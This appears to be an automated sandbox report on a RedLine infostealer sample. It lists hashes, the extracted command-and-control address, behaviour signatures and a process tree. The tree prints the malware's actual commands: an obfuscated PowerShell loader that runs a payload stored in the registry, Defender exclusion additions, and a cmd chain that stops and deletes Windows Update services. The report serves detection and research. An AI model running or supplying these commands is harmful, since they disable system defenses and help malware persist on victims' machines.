redline | 298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a

Analysis

max time kernel
268s
max time network
299s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
01/11/2022, 08:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe
Size

2.5MB
MD5

e8c93855d5b68012ea54fe097f37795a
SHA1

e28379253878db94935cce1bd40e1aa622cdb818
SHA256

298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a
SHA512

e73aafdd818d89da6fbd5275cd2812992504588260caa40fe0313238eb4535b70311e3dd631db33d8abdac575d20010131dabc52501edbb0b43bfa5ff50e70f2
SSDEEP

24576:F5UtB8YsPmYAYH3tlHCqMxJdIKH0X0ebqcyRo4N8fVxL7Wl3RuQ55313M:FyBrsXWAqpo4N8fVxul3O

Score

10^/10

redline evasion infostealer spyware upx vmprotect

Malware Config

Extracted

Family

redline

185.215.113.83:60722

Attributes

auth_value
e4b40909045c9c3ec576d86b8bb8fad8

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral2/memory/196924-124-0x0000000000270000-0x0000000000290000-memory.dmp	family_redline
behavioral2/memory/196924-129-0x000000000028B51E-mapping.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 10752 created 572	10752	powershell.EXE	3
PID 11908 created 3668	11908	svchost.exe	57
PID 11908 created 4276	11908	svchost.exe	50
PID 10588 created 572	10588	powershell.EXE	3

Downloads MZ/PE file

Executes dropped EXE 6 IoCs

pid	Process
1484	brave.exe
1420	chrome.exe
868	ofg.exe
5200	GoogleUpdate.exe
10496	svcupdater.exe
10648	updater.exe

Modifies Windows Firewall 1 TTPs 3 IoCs

evasion

Modify Existing Service

T1031

pid	Process
6008	netsh.exe
6024	netsh.exe
6044	netsh.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001ac36-608.dat	upx
behavioral2/memory/1420-621-0x0000000000B20000-0x00000000013BE000-memory.dmp	upx
behavioral2/files/0x000700000001ac36-619.dat	upx
behavioral2/memory/1420-792-0x0000000000B20000-0x00000000013BE000-memory.dmp	upx

VMProtect packed file 2 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/memory/5200-875-0x0000000003750000-0x000000000400F000-memory.dmp	vmprotect
behavioral2/memory/5200-1270-0x0000000003750000-0x000000000400F000-memory.dmp	vmprotect

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 1968 set thread context of 196924	1968	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	67
PID 1420 set thread context of 5200	1420	chrome.exe	80
PID 1484 set thread context of 10340	1484	brave.exe	113
PID 10752 set thread context of 11164	10752	powershell.EXE	121
PID 10588 set thread context of 12240	10588	powershell.EXE	126
PID 10648 set thread context of 15364	10648	updater.exe	148
PID 10648 set thread context of 15588	10648	updater.exe	154

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	brave.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File created	C:\Windows\GoogleUpdate.exe	chrome.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
9884	sc.exe
10028	sc.exe
13944	sc.exe
9840	sc.exe
9960	sc.exe
10080	sc.exe
13548	sc.exe
13732	sc.exe
13900	sc.exe
14024	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
12076	3668	WerFault.exe	57
12092	4276	WerFault.exe	50

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2288	schtasks.exe
2464	SCHTASKS.exe
5148	SCHTASKS.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
196924	AppLaunch.exe
60	powershell.exe
60	powershell.exe
60	powershell.exe
5200	GoogleUpdate.exe
5200	GoogleUpdate.exe
6068	powershell.exe
6068	powershell.exe
6068	powershell.exe
9744	powershell.exe
9744	powershell.exe
9744	powershell.exe
10352	powershell.exe
10352	powershell.exe
10352	powershell.exe
10752	powershell.EXE
10752	powershell.EXE
10752	powershell.EXE
10588	powershell.EXE
10588	powershell.EXE
10588	powershell.EXE
10752	powershell.EXE
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe
11164	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2056	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	196924	AppLaunch.exe
Token: SeDebugPrivilege	868	ofg.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: SeIncreaseQuotaPrivilege	6068	powershell.exe
Token: SeSecurityPrivilege	6068	powershell.exe
Token: SeTakeOwnershipPrivilege	6068	powershell.exe
Token: SeLoadDriverPrivilege	6068	powershell.exe
Token: SeSystemProfilePrivilege	6068	powershell.exe
Token: SeSystemtimePrivilege	6068	powershell.exe
Token: SeProfSingleProcessPrivilege	6068	powershell.exe
Token: SeIncBasePriorityPrivilege	6068	powershell.exe
Token: SeCreatePagefilePrivilege	6068	powershell.exe
Token: SeBackupPrivilege	6068	powershell.exe
Token: SeRestorePrivilege	6068	powershell.exe
Token: SeShutdownPrivilege	6068	powershell.exe
Token: SeDebugPrivilege	6068	powershell.exe
Token: SeSystemEnvironmentPrivilege	6068	powershell.exe
Token: SeRemoteShutdownPrivilege	6068	powershell.exe
Token: SeUndockPrivilege	6068	powershell.exe
Token: SeManageVolumePrivilege	6068	powershell.exe
Token: 33	6068	powershell.exe
Token: 34	6068	powershell.exe
Token: 35	6068	powershell.exe
Token: 36	6068	powershell.exe
Token: SeDebugPrivilege	9744	powershell.exe
Token: SeShutdownPrivilege	9900	powercfg.exe
Token: SeCreatePagefilePrivilege	9900	powercfg.exe
Token: SeShutdownPrivilege	9972	powercfg.exe
Token: SeCreatePagefilePrivilege	9972	powercfg.exe
Token: SeShutdownPrivilege	10040	powercfg.exe
Token: SeCreatePagefilePrivilege	10040	powercfg.exe
Token: SeShutdownPrivilege	10072	powercfg.exe
Token: SeCreatePagefilePrivilege	10072	powercfg.exe
Token: SeIncreaseQuotaPrivilege	9744	powershell.exe
Token: SeSecurityPrivilege	9744	powershell.exe
Token: SeTakeOwnershipPrivilege	9744	powershell.exe
Token: SeLoadDriverPrivilege	9744	powershell.exe
Token: SeSystemProfilePrivilege	9744	powershell.exe
Token: SeSystemtimePrivilege	9744	powershell.exe
Token: SeProfSingleProcessPrivilege	9744	powershell.exe
Token: SeIncBasePriorityPrivilege	9744	powershell.exe
Token: SeCreatePagefilePrivilege	9744	powershell.exe
Token: SeBackupPrivilege	9744	powershell.exe
Token: SeRestorePrivilege	9744	powershell.exe
Token: SeShutdownPrivilege	9744	powershell.exe
Token: SeDebugPrivilege	9744	powershell.exe
Token: SeSystemEnvironmentPrivilege	9744	powershell.exe
Token: SeRemoteShutdownPrivilege	9744	powershell.exe
Token: SeUndockPrivilege	9744	powershell.exe
Token: SeManageVolumePrivilege	9744	powershell.exe
Token: 33	9744	powershell.exe
Token: 34	9744	powershell.exe
Token: 35	9744	powershell.exe
Token: 36	9744	powershell.exe
Token: SeIncreaseQuotaPrivilege	9744	powershell.exe
Token: SeSecurityPrivilege	9744	powershell.exe
Token: SeTakeOwnershipPrivilege	9744	powershell.exe
Token: SeLoadDriverPrivilege	9744	powershell.exe
Token: SeSystemProfilePrivilege	9744	powershell.exe
Token: SeSystemtimePrivilege	9744	powershell.exe
Token: SeProfSingleProcessPrivilege	9744	powershell.exe
Token: SeIncBasePriorityPrivilege	9744	powershell.exe
Token: SeCreatePagefilePrivilege	9744	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
984	dwm.exe
984	dwm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 196924	1968	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	67
PID 1968 wrote to memory of 196924	1968	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	67
PID 1968 wrote to memory of 196924	1968	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	67
PID 1968 wrote to memory of 196924	1968	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	67
PID 1968 wrote to memory of 196924	1968	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	67
PID 196924 wrote to memory of 1484	196924	AppLaunch.exe	69
PID 196924 wrote to memory of 1484	196924	AppLaunch.exe	69
PID 196924 wrote to memory of 1420	196924	AppLaunch.exe	70
PID 196924 wrote to memory of 1420	196924	AppLaunch.exe	70
PID 196924 wrote to memory of 1420	196924	AppLaunch.exe	70
PID 196924 wrote to memory of 868	196924	AppLaunch.exe	71
PID 196924 wrote to memory of 868	196924	AppLaunch.exe	71
PID 868 wrote to memory of 312	868	ofg.exe	72
PID 868 wrote to memory of 312	868	ofg.exe	72
PID 312 wrote to memory of 2288	312	cmd.exe	74
PID 312 wrote to memory of 2288	312	cmd.exe	74
PID 1420 wrote to memory of 60	1420	chrome.exe	76
PID 1420 wrote to memory of 60	1420	chrome.exe	76
PID 1420 wrote to memory of 60	1420	chrome.exe	76
PID 1420 wrote to memory of 2464	1420	chrome.exe	75
PID 1420 wrote to memory of 2464	1420	chrome.exe	75
PID 1420 wrote to memory of 2464	1420	chrome.exe	75
PID 1420 wrote to memory of 5148	1420	chrome.exe	79
PID 1420 wrote to memory of 5148	1420	chrome.exe	79
PID 1420 wrote to memory of 5148	1420	chrome.exe	79
PID 1420 wrote to memory of 5200	1420	chrome.exe	80
PID 1420 wrote to memory of 5200	1420	chrome.exe	80
PID 1420 wrote to memory of 5200	1420	chrome.exe	80
PID 1420 wrote to memory of 5200	1420	chrome.exe	80
PID 1420 wrote to memory of 5200	1420	chrome.exe	80
PID 1420 wrote to memory of 5200	1420	chrome.exe	80
PID 1420 wrote to memory of 5200	1420	chrome.exe	80
PID 1420 wrote to memory of 5200	1420	chrome.exe	80
PID 1420 wrote to memory of 5200	1420	chrome.exe	80
PID 5200 wrote to memory of 6008	5200	GoogleUpdate.exe	82
PID 5200 wrote to memory of 6008	5200	GoogleUpdate.exe	82
PID 5200 wrote to memory of 6008	5200	GoogleUpdate.exe	82
PID 5200 wrote to memory of 6024	5200	GoogleUpdate.exe	83
PID 5200 wrote to memory of 6024	5200	GoogleUpdate.exe	83
PID 5200 wrote to memory of 6024	5200	GoogleUpdate.exe	83
PID 5200 wrote to memory of 6044	5200	GoogleUpdate.exe	84
PID 5200 wrote to memory of 6044	5200	GoogleUpdate.exe	84
PID 5200 wrote to memory of 6044	5200	GoogleUpdate.exe	84
PID 1484 wrote to memory of 6068	1484	brave.exe	85
PID 1484 wrote to memory of 6068	1484	brave.exe	85
PID 1484 wrote to memory of 9700	1484	brave.exe	91
PID 1484 wrote to memory of 9700	1484	brave.exe	91
PID 1484 wrote to memory of 9712	1484	brave.exe	99
PID 1484 wrote to memory of 9712	1484	brave.exe	99
PID 1484 wrote to memory of 9744	1484	brave.exe	92
PID 1484 wrote to memory of 9744	1484	brave.exe	92
PID 9700 wrote to memory of 9840	9700	cmd.exe	94
PID 9700 wrote to memory of 9840	9700	cmd.exe	94
PID 9700 wrote to memory of 9884	9700	cmd.exe	95
PID 9700 wrote to memory of 9884	9700	cmd.exe	95
PID 9712 wrote to memory of 9900	9712	cmd.exe	96
PID 9712 wrote to memory of 9900	9712	cmd.exe	96
PID 9700 wrote to memory of 9960	9700	cmd.exe	100
PID 9700 wrote to memory of 9960	9700	cmd.exe	100
PID 9712 wrote to memory of 9972	9712	cmd.exe	101
PID 9712 wrote to memory of 9972	9712	cmd.exe	101
PID 9700 wrote to memory of 10028	9700	cmd.exe	102
PID 9700 wrote to memory of 10028	9700	cmd.exe	102
PID 9712 wrote to memory of 10040	9712	cmd.exe	103

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:628

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:572
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:984
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{72deb9d1-fa9b-42cb-959a-730356acc26c}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:11164
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{f8f2c844-43f6-4f9e-a7b5-f943234bfa31}
  2⤵
  PID:12240

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:732

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:996

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:500

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:616

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:896

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:952
- c:\windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2856
- C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe
  C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe
  2⤵
  - Executes dropped EXE
  PID:10496
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:10588
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:10620
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  PID:10648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:12208
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:12628
- - C:\Windows\system32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:13444
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:13492
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:13548
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:13732
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:13900
  - - C:\Windows\system32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:13944
  - - C:\Windows\system32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:14024
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:14124
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:14528
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      PID:14832
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:15132
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:15188
- - C:\Windows\system32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    PID:13456
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:13500
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      PID:13568
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      PID:13744
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      PID:13836
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      PID:13984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
